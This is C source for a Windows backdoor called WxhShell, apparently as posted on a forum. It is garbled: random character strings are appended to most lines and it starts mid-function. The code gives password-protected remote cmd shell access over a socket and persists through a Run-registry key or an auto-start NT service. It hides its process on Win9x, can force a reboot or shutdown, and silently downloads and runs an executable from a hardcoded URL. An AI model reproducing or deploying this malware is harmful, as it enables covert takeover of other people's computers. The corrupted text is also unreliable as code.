    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K" X" 2c1o  
    else { 5)hfI7{d  
    closesocket(wsh); "QiLu=Rq  
    ExitThread(0); x#R6Ez7  
    } G\V*j$}!  
    break; Jo~fri([%Q  
    } yq^Ma  
  // 关机 _z 5W*..  
  case 'd': { x)eoz2E1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _jg tZ  
    if(Boot(SHUTDOWN)) R-1MD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #reW)P>  
    else { ~#}T|  
    closesocket(wsh); 6qT-  
    ExitThread(0); ~vM99hW  
    } "h7Dye  
    break; B<,7!:.II  
    } n5^57[(  
  // 获取shell v=cQ`nou  
  case 's': { p?4[nS-,  
    CmdShell(wsh); +"=ydF.9  
    closesocket(wsh); oVPr`]  
    ExitThread(0); Ek6 g?rj_  
    break; [ K'gvLt1  
  } &;L=f;   
  // 退出 L/] (pXEp  
  case 'x': { N0vECk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }^p<Y5{b  
    CloseIt(wsh); c-n/E. E  
    break; #(i pF  
    } FU>KiBV#  
  // 离开 C"_ Roir?  
  case 'q': { ~dpf1fP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z*UVbyC  
    closesocket(wsh); gt02Csdt  
    WSACleanup(); 7C,giCYU  
    exit(1); HTGLFY(&  
    break; @7C.0>W_A  
        } x|G :;{"+6  
  } ~!8j,Bqs+z  
  } b.@4yW  
[wnp]'+!  
  // 提示信息 -GHd]7n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _ezRE"F5  
} Vd  d  
  } BI%XF 9{  
=|ODa/2 p  
  return; {B4qeG5  
} *vuI'EbM  
uW=G1 *n-  
// shell模块句柄 GJr mK  
int CmdShell(SOCKET sock) `?3f76}h  
{ ]7S f)  
STARTUPINFO si; AD?XJ3  
ZeroMemory(&si,sizeof(si)); 2bG3&G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,1N|lyV   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y#iz$lX R  
PROCESS_INFORMATION ProcessInfo; w]{c*4o  
char cmdline[]="cmd"; Z/ jmi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UF#!6"C@  
  return 0; /[\g8U{5B}  
} :;]9,n  
It&CM,=t  
// 自身启动模式 %\T,=9tD\  
int StartFromService(void) o9"?z  
{ 'kcR:5B  
typedef struct 72Y 6gcg  
{ oYZ  4F  
  DWORD ExitStatus; :e;6oC*"q  
  DWORD PebBaseAddress; j7kX"nz  
  DWORD AffinityMask; V@k+RniEO  
  DWORD BasePriority; =zK4jiM1  
  ULONG UniqueProcessId; i:0v6d  
  ULONG InheritedFromUniqueProcessId; 2WFZ6  
}   PROCESS_BASIC_INFORMATION; =N\; ?eF(  
:1j8!R5  
PROCNTQSIP NtQueryInformationProcess; /#M1J:SV  
U\?D;ABQ%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S1U0sP@o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o&E8<e  
aM;SE9/U  
  HANDLE             hProcess; |di(hY|  
  PROCESS_BASIC_INFORMATION pbi; dnoF)(d&Cm  
z0<E3t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _) x{TnK  
  if(NULL == hInst ) return 0; ?o;ip  
=?6c&Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nwKp8mfP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h2Nt@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); : x&R'wX-  
W<X3!zuKSg  
  if (!NtQueryInformationProcess) return 0; =6Ok4Z  
^:{8z;w!(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \(i'iC  
  if(!hProcess) return 0; lfHN_fE>Mq  
?uSoJM`wa!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2j%=o?me^p  
ay7\Ae]  
  CloseHandle(hProcess); KSchgon0V  
+Pl)E5W!=`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &Uam4'B6-  
if(hProcess==NULL) return 0; Q`9c/vPU  
'/u|32  
HMODULE hMod; (`dz3 7@*  
char procName[255]; paIjXaU1Mb  
unsigned long cbNeeded; ?0/$RpFEM#  
/&Oo)OB;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F}u'A,Hc  
c1k[)O~  
  CloseHandle(hProcess); !y b06Z\f  
~6t!)QATnp  
if(strstr(procName,"services")) return 1; // 以服务启动 -n9&W  
%@vF%   
  return 0; // 注册表启动 tC'E#2  
} NF8<9  
Q^f{H.  
// 主模块 N4+Cg t(  
int StartWxhshell(LPSTR lpCmdLine) ~6i'V?>  
{ 6U !P8q  
  SOCKET wsl; DSwb8q  
BOOL val=TRUE; J]TqH`MA  
  int port=0; k 3m_L-  
  struct sockaddr_in door; (Y)2[j  
*/M`KPW  
  if(wscfg.ws_autoins) Install(); {jO+N+Ez9  
xZ`z+)  
port=atoi(lpCmdLine); Mm@G{J\\  
I0zx'x)F  
if(port<=0) port=wscfg.ws_port; yIKpyyC9H  
'w=|uE {^  
  WSADATA data; vQ*[tp#qU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I #1~CbR  
*Mhirz% iD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g{DehBM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s0' haU  
  door.sin_family = AF_INET; F~6]II  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o>8~rtl  
  door.sin_port = htons(port); 1+Gq<]@G  
kaCN^yQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wL8j i>"  
closesocket(wsl); /7D5I\  
return 1; M]PZwW8  
} ^ nPy(Q0  
;"nO'wN:h  
  if(listen(wsl,2) == INVALID_SOCKET) { 7.Y;nem:(  
closesocket(wsl); o5s6$\"  
return 1; 8S#$'2sT  
} iKaX8c,zI  
  Wxhshell(wsl); u"qu!EY2  
  WSACleanup(); 0FcDO5ia  
F&6#j  
return 0; z]N#.utQ  
mvjx &+q  
}  9Do75S{(  
0;TiNrzg  
// 以NT服务方式启动 f DXK<v)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hy3J2p9.  
{ :<P4=P P  
DWORD   status = 0; + -Rf@  
  DWORD   specificError = 0xfffffff; Fl.?*KBz  
@]n8*n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1!^BcrG.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n3$=&   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &$|~",  
  serviceStatus.dwWin32ExitCode     = 0; ;t+p2i  
  serviceStatus.dwServiceSpecificExitCode = 0; 01@ WU1IN  
  serviceStatus.dwCheckPoint       = 0; :0y-n.-{  
  serviceStatus.dwWaitHint       = 0; y 0p=E^Q M  
X>7Pqn'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'df@4}9  
  if (hServiceStatusHandle==0) return; 4C?{p%3c  
!f(A9V  
status = GetLastError(); ]@9W19=P!P  
  if (status!=NO_ERROR) P\Qvj7_  
{ =iW hK~S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h i!K-_Uy  
    serviceStatus.dwCheckPoint       = 0; kKF=%J?X  
    serviceStatus.dwWaitHint       = 0; K7 C <}y  
    serviceStatus.dwWin32ExitCode     = status; g"n>v c7  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]7<$1ta  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h:bx0:O"  
    return; fZf>>mu@r'  
  } huv|l6   
e/Z{{FP%6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WrwbLlE  
  serviceStatus.dwCheckPoint       = 0; `Zuo`GP*1  
  serviceStatus.dwWaitHint       = 0; (zsmJe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @{qcu\sZ  
} W= NX$=il  
=55)|$hgD  
// 处理NT服务事件,比如:启动、停止 !N+{X\+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M#2<|VUW,  
{ /|U;_F Pmc  
switch(fdwControl) 2 Ax(q&`9  
{ ksU& q%1  
case SERVICE_CONTROL_STOP: e?(4lD)d  
  serviceStatus.dwWin32ExitCode = 0; Z .`+IN(>E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i8Be%y%y  
  serviceStatus.dwCheckPoint   = 0; Kc] GE#~g  
  serviceStatus.dwWaitHint     = 0; 9Q(Lnu  
  { vB7]L9=@"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M"c=_5P  
  } &:d`Pik6  
  return; -GL.8" c[  
case SERVICE_CONTROL_PAUSE: @QJPcF"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6G4~-_  
  break; M&Q&be84  
case SERVICE_CONTROL_CONTINUE: ( q*/=u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qu1! KS  
  break; %[*_-%  
case SERVICE_CONTROL_INTERROGATE:  w D  
  break; agoMsxI9  
}; g>ke;SH%KY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l;z+E_sQ  
}  CU\r I  
1N]-WCxQ  
// 标准应用程序主函数 }+NlY D:qF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L eUp!  
{ >0N$R|B&  
K#v@bu:'  
// 获取操作系统版本 NCkrf]*F-  
OsIsNt=GetOsVer(); !9C]Fs*`?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ov:U3P?%  
]R"n+LnI:=  
  // 从命令行安装 r_^]5C\  
  if(strpbrk(lpCmdLine,"iI")) Install(); $KRpu<5i}  
XX1Iw {o9:  
  // 下载执行文件 noWwX  
if(wscfg.ws_downexe) { ~:="o/wo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a,t]>z95  
  WinExec(wscfg.ws_filenam,SW_HIDE); {y!77>Q/  
} .GDY J9vi  
:=`N2D  
if(!OsIsNt) { <~5$<L4  
// 如果时win9x,隐藏进程并且设置为注册表启动 dBL{Mbh2Z  
HideProc(); M)nf(jw#G  
StartWxhshell(lpCmdLine); 9jUm0B{?  
} @rW%*?$7  
else H?pWyc<,  
  if(StartFromService()) _@]@&^K$E  
  // 以服务方式启动 -QydUr/(o  
  StartServiceCtrlDispatcher(DispatchTable); j98>Jr\  
else ZnB|vfL?  
  // 普通方式启动 p~u11rH  
  StartWxhshell(lpCmdLine); 0V#eC  
ld23 ^r  
return 0; +(2mHS0_a  
} 2fJ2o[v  
P^ bcc  
}"9jCxXL  
D\G P+Ota  
=========================================== ^,Y#_$oR  
$zV[- d  
yu62$ d  
KbF,jm5  
4#@zn 2l  
A&QO]8  
" mH} 1Zy  
6tmn1:  
#include <stdio.h> '=vD!6=0@  
#include <string.h> N)Z,/w 9  
#include <windows.h> cw{[% 7  
#include <winsock2.h> O>`DR0  
#include <winsvc.h> 7[W! Nx  
#include <urlmon.h> ~nG?>  
]`Y;4XR  
#pragma comment (lib, "Ws2_32.lib") K%A:W  
#pragma comment (lib, "urlmon.lib") ,;yiV<AD  
"(rG5z3P  
#define MAX_USER   100 // 最大客户端连接数 <ibEo98  
#define BUF_SOCK   200 // sock buffer [MKL>\U  
#define KEY_BUFF   255 // 输入 buffer 1Lb+ &  
;  u0 MY  
#define REBOOT     0   // 重启 dRXF5Ox5K}  
#define SHUTDOWN   1   // 关机 PNn{Rt  
j\D_Z{m2  
#define DEF_PORT   5000 // 监听端口 hX~d1.]Y  
~4\J }Kn  
#define REG_LEN     16   // 注册表键长度 }0Qex=vkO  
#define SVC_LEN     80   // NT服务名长度 /L8Q[`;.  
Yp1;5Bbp  
// 从dll定义API c-L1 Bkw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Pvq74?an`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Quy&CV{@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +wU9d8W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |?=K'[ 5  
-rSp gk0wL  
// wxhshell配置信息 h|tdK;)  
struct WSCFG { 0L_ JP9e  
  int ws_port;         // 监听端口 $ \j/s:Y  
  char ws_passstr[REG_LEN]; // 口令 /*)zQ?N  
  int ws_autoins;       // 安装标记, 1=yes 0=no < `r+ZyM  
  char ws_regname[REG_LEN]; // 注册表键名 I'Dc9&2  
  char ws_svcname[REG_LEN]; // 服务名 B zmmE2~*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 diF-`~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 roDE?7x1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M<R3JzT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~)X yrKw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *w> dT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uOzol~TU)  
'O%itCy)  
}; [ZC{eg+D  
=]k0*\PS  
// default Wxhshell configuration cn62:p]5  
struct WSCFG wscfg={DEF_PORT, 3mI(5~4A]?  
    "xuhuanlingzhe", 5G!0Yy['  
    1, TYv'#{  
    "Wxhshell", k1l\Rywp  
    "Wxhshell", TI^W=5W@@  
            "WxhShell Service", 5L6_W -n{  
    "Wrsky Windows CmdShell Service", Hd*e9;z  
    "Please Input Your Password: ", (X=JT  
  1, 5bKBVkJ'  
  "http://www.wrsky.com/wxhshell.exe", LH7m >/LJr  
  "Wxhshell.exe" . V5Pr}"y  
    }; z TYHwx  
,sw|OYb  
// 消息定义模块 YfRjr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sIUhk7Cd8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oT7 6)O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HQtR;[1  
char *msg_ws_ext="\n\rExit."; dY=]ES} `  
char *msg_ws_end="\n\rQuit."; /\L-y,>X  
char *msg_ws_boot="\n\rReboot..."; }W2FF  
char *msg_ws_poff="\n\rShutdown..."; Db:^Omw o  
char *msg_ws_down="\n\rSave to "; JWZG)I]r  
2IfcdYG  
char *msg_ws_err="\n\rErr!"; {KQ-QKxxS  
char *msg_ws_ok="\n\rOK!"; @477|LO  
W&g@o@wa  
char ExeFile[MAX_PATH]; !4.VK-a9V%  
int nUser = 0; ,> Ya%;h2k  
HANDLE handles[MAX_USER]; pc/x&VY%  
int OsIsNt; xG_LEk( zD  
>W?i+,g  
SERVICE_STATUS       serviceStatus; p!oO}gE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .(J~:U  
(YV]T!q  
// 函数声明 scc+r  
int Install(void); d/"%fpp^0G  
int Uninstall(void); B4 k5IS  
int DownloadFile(char *sURL, SOCKET wsh); Z=+Tw!wR>  
int Boot(int flag); "?*B2*|}`  
void HideProc(void); FhP$R}F  
int GetOsVer(void); tDC?St1  
int Wxhshell(SOCKET wsl); R|m!*B~  
void TalkWithClient(void *cs); 2y"L&3W  
int CmdShell(SOCKET sock); q!10 G  
int StartFromService(void); po! [Nd&"  
int StartWxhshell(LPSTR lpCmdLine);  *KV^ X(/  
w,T-vf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7_9^nDU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XQ'$J_hC  
([ jm=[E^  
// 数据结构和表定义 mI,a2wqi  
SERVICE_TABLE_ENTRY DispatchTable[] = >6KwZr BB  
{ Mdw"^x$7  
{wscfg.ws_svcname, NTServiceMain}, o$p] p9  
{NULL, NULL} xeB-fy)5+  
}; 5_\1f|,  
J4]tT pu"K  
// 自我安装 csFLBP  
int Install(void) 7](aPm8  
{ ms&6N']  
  char svExeFile[MAX_PATH]; Wh)>E!~ 9  
  HKEY key; Ow N~-).%-  
  strcpy(svExeFile,ExeFile); I]z4}#+cX  
);/p[Fd2]  
// 如果是win9x系统,修改注册表设为自启动 *x/H   
if(!OsIsNt) { }U^iVq*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V 7oE\cxr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vX?C9Fr2  
  RegCloseKey(key); *`40B6dEr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lMmP]{.>$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2c'<rkA  
  RegCloseKey(key); 7*kTu0m  
  return 0; * EPJeblAV  
    } 9T\\hM)k  
  } pwv mb\  
} cK,&huk  
else { l>T]Y  
19:1n]*X<  
// 如果是NT以上系统,安装为系统服务 dG!)<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  e**5_L  
if (schSCManager!=0) N[I ?x5:u  
{ ` Nv1sA#C  
  SC_HANDLE schService = CreateService R"{P#U,HNO  
  ( ?r}2JHvN  
  schSCManager, B@ >t$jK  
  wscfg.ws_svcname, *|^|| bd  
  wscfg.ws_svcdisp, Z-L}"~  
  SERVICE_ALL_ACCESS, 1*f/Y9 Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _U o3_us  
  SERVICE_AUTO_START, t^=S\1"R\  
  SERVICE_ERROR_NORMAL, xP 7mP+D  
  svExeFile, (_Th4'(@Y  
  NULL, E;YD5^B  
  NULL, `*xSn+wL`_  
  NULL, BO+t o.  
  NULL, NAO0b5-h  
  NULL <.{OIIuk  
  ); i&-g  
  if (schService!=0) `,Fc271`  
  { Knp}88DR^j  
  CloseServiceHandle(schService); w6ck wn,  
  CloseServiceHandle(schSCManager); u63Q<P<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W]D+[mpgK  
  strcat(svExeFile,wscfg.ws_svcname); 2gW+&5; 4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z3M6<.K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O`_]n  
  RegCloseKey(key); E?jb?  
  return 0; N.vkM`Z  
    } Pa{bkr  
  } =j@8/  
  CloseServiceHandle(schSCManager); {DX1/49  
} GXR7Ug}k  
} U8eU[|-8O/  
fK{Z{)D  
return 1; w!RJ8  
} "R[6Q ^vw  
^ lG^.  
// 自我卸载 CWkAc5  
int Uninstall(void) h[]3#  
{ bQwiJ`B&  
  HKEY key; wEEFpn_   
84gj%tw'-  
if(!OsIsNt) { *B+YG^Yu^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |RI77b:pX  
  RegDeleteValue(key,wscfg.ws_regname); TZ:dY x  
  RegCloseKey(key); d-"[-+)-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rp.FG   
  RegDeleteValue(key,wscfg.ws_regname); ;W!hl<``d*  
  RegCloseKey(key); DO? bJ01  
  return 0; Xqas[:)7+  
  } (ZEDDV2  
} dUpOg{I.x  
} ~{s7(^ P  
else { #e;\Eap  
e7gWz~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1H,hw  
if (schSCManager!=0) ,6a }l;lv  
{ hH@pA:`s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h>K%Ox R  
  if (schService!=0) evHKq}{  
  { PRF^<%mkI  
  if(DeleteService(schService)!=0) { GGn/J&k  
  CloseServiceHandle(schService); -\=kd {*B  
  CloseServiceHandle(schSCManager); Yim`3>#t  
  return 0; ]#oqum@Yf1  
  } Ic&Jhw;]z  
  CloseServiceHandle(schService); @g'SH:}  
  } pxs`g&3yd  
  CloseServiceHandle(schSCManager); ;u: }rA)  
} Xa32p_|5~  
} gL;tyf1P  
18U CZ;)>  
return 1; FzGla})  
} ,b8q$ R~\  
.%EEly  
// 从指定url下载文件 tmI2BBv  
int DownloadFile(char *sURL, SOCKET wsh) l~Sn`%PgA  
{ y:8*!}fR  
  HRESULT hr; {CR'Z0  
char seps[]= "/"; <U]#722  
char *token; qZ7/d,w  
char *file; r-a/vx#  
char myURL[MAX_PATH];  !(<Yc5  
char myFILE[MAX_PATH]; #wZ:E,R  
hol54)7$3:  
strcpy(myURL,sURL); DOm5azO!>  
  token=strtok(myURL,seps); l`R/WC  
  while(token!=NULL) >_$DKY>$`  
  { bh1WD_  
    file=token; V/G'{ q  
  token=strtok(NULL,seps); {^#62Y  
  } eOQUy +  
{>c O&eiCt  
GetCurrentDirectory(MAX_PATH,myFILE); Whq@>pX8  
strcat(myFILE, "\\"); dSb|hA}@  
strcat(myFILE, file); j9za)G-J  
  send(wsh,myFILE,strlen(myFILE),0); /)PD+18  
send(wsh,"...",3,0); e/m ,PE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B{SzC=4f}  
  if(hr==S_OK) '%`W y@  
return 0; !RnO{FL  
else 8eSIY17  
return 1; 451r!U1Z  
+]Y&las  
} q@p-)+D;  
z2&SZ.mk  
// 系统电源模块 2Ek6YNx  
int Boot(int flag) e1X*}OI  
{ v3+ \A q   
  HANDLE hToken; 78\:{i->ta  
  TOKEN_PRIVILEGES tkp; D!~-53f@  
_{o=I?+]  
  if(OsIsNt) { @U%I 6 t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +!V*{<K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V$+xJ  m  
    tkp.PrivilegeCount = 1; Mrp'wF D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  )>Oip  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F+_4Q  
if(flag==REBOOT) { (KHTgZ6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 85l 1  
  return 0; oQ 5g0(J~  
} *lg1iP{]  
else { 2i4FIS|z0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d(w $! $"h  
  return 0; ky#d`   
} <$n%h/2%  
  } dfe 9)m>  
  else { `/<KDd:_t  
if(flag==REBOOT) { 'N],d&fu^^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 50(/LV1  
  return 0; uYS?# g  
} ]?xF'3#  
else { TdP_L/>|J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s@f4f__(]  
  return 0; #H(|+WEu  
} -Xkdu?6Eh  
} 2s;/*<WM  
cU5x8[2  
return 1; %lV&QQa  
} R)t"`'6|  
LGPy>,!  
// win9x进程隐藏模块 L._I"g5 H9  
void HideProc(void) cn=~}T@~Z  
{ <FMW%4   
&TSt/b/+W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i)\`"&.j>N  
  if ( hKernel != NULL ) Y*3qH]  
  { /H@k;o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &Hc8u,|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OibW8A4Z1  
    FreeLibrary(hKernel); {J%hTjCw  
  } 3`J?as@^8  
U}6'_ PRQ  
return; NDU,9A.P  
} ,m!j2H}8  
4>{q("r,  
// 获取操作系统版本 RM-| ?%  
int GetOsVer(void) 42:\1B#[  
{ k _hiGg  
  OSVERSIONINFO winfo; @h X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >f19P+  
  GetVersionEx(&winfo); 4*l ShkL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $uawQf+S  
  return 1; `l1{BU  
  else Mvrc[s+o  
  return 0; 2<yi8O\  
} AGn:I??  
Gk8"fs  
// 客户端句柄模块 <dD}4c+/t  
int Wxhshell(SOCKET wsl) 6/T hbD-C  
{ ?@(_GrE-  
  SOCKET wsh; wtetB')yD  
  struct sockaddr_in client; 9cWl/7;zXO  
  DWORD myID; /Bid:@R  
2K!3+D"  
  while(nUser<MAX_USER) 5Qo\0YH  
{  ^P~%^?(  
  int nSize=sizeof(client); rv&(yA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G7pj.rQ  
  if(wsh==INVALID_SOCKET) return 1;  <G{m=  
<O?iJ=$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -B9C2  
if(handles[nUser]==0) @ _U]U  
  closesocket(wsh); F5gL-\6  
else .rD@Q{e50  
  nUser++; #!OCEiT_  
  } 92WvD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b~Op1p  
8*H-</ =  
  return 0; \^iJv ~d  
}  VD;Ot<%  
uo_Y"QiKEH  
// 关闭 socket wRgmw 4  
void CloseIt(SOCKET wsh) `Ff3H$_*  
{ Nlx7"_R"Q  
closesocket(wsh); {x W? v;  
nUser--;  VljAAt  
ExitThread(0); tlV>  
} #Bg88!-4  
84DneSpHsp  
// 客户端请求句柄 mFjX  
void TalkWithClient(void *cs) v98=#k!F  
{ *$Z}v&-0k  
hq6fDRO/4  
  SOCKET wsh=(SOCKET)cs; :@rE&  
  char pwd[SVC_LEN]; sHyhR:  
  char cmd[KEY_BUFF]; 6B)(kPW  
char chr[1]; @v ss:'l  
int i,j; D!h8NZ;El  
lTv I;zy  
  while (nUser < MAX_USER) { %2f``48#  
n`2 d   
if(wscfg.ws_passstr) { c$rkbbf~V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8B JxD<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gD3s,<>o  
  //ZeroMemory(pwd,KEY_BUFF); C<?}?hhb  
      i=0; b4Br!PL@G  
  while(i<SVC_LEN) { /1F%w8Iqh  
X|q&0W=  
  // 设置超时 jGl8y!aM  
  fd_set FdRead; swYlp  
  struct timeval TimeOut; l~;H~h!h/  
  FD_ZERO(&FdRead); 0; 2i"mzS\  
  FD_SET(wsh,&FdRead); "^F#oo%L  
  TimeOut.tv_sec=8; NZdjS9  
  TimeOut.tv_usec=0; Y (x_bJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ym9Z:2g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <+o-{{E[  
?:vp3f#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CnSfGsE>  
  pwd=chr[0]; lqn7$  
  if(chr[0]==0xd || chr[0]==0xa) { 4 sasf94  
  pwd=0; 'MRvH lCM  
  break; L^i=RGx  
  } %@#+Xpa+  
  i++; e:fp8 k<  
    } $h`(toTyF  
C93BK)$}  
  // 如果是非法用户,关闭 socket k!3X4;F!_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <nlZ?~%}  
} 11[[Hk X@  
3XF.$=@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8^\}\@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M.$Li#So,  
u\wdb^8ds  
while(1) { [Oen{c9 A  
dE19_KPm[j  
  ZeroMemory(cmd,KEY_BUFF); h6<abT@I  
:,g nOfV=  
      // 自动支持客户端 telnet标准   x|U~?  
  j=0; w F6ywr  
  while(j<KEY_BUFF) { =}>wxO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C~4_Vc*  
  cmd[j]=chr[0]; ?j;e/r.  
  if(chr[0]==0xa || chr[0]==0xd) { d0Xb?- }3M  
  cmd[j]=0; =F'p#N0_2  
  break; rqW[B/a{  
  } 9pUvw_9MY  
  j++; qX{"R.d  
    } *p:`F:  
R,R[.2Vi  
  // 下载文件 wmKM:`&[5  
  if(strstr(cmd,"http://")) { uMVM-(g%  
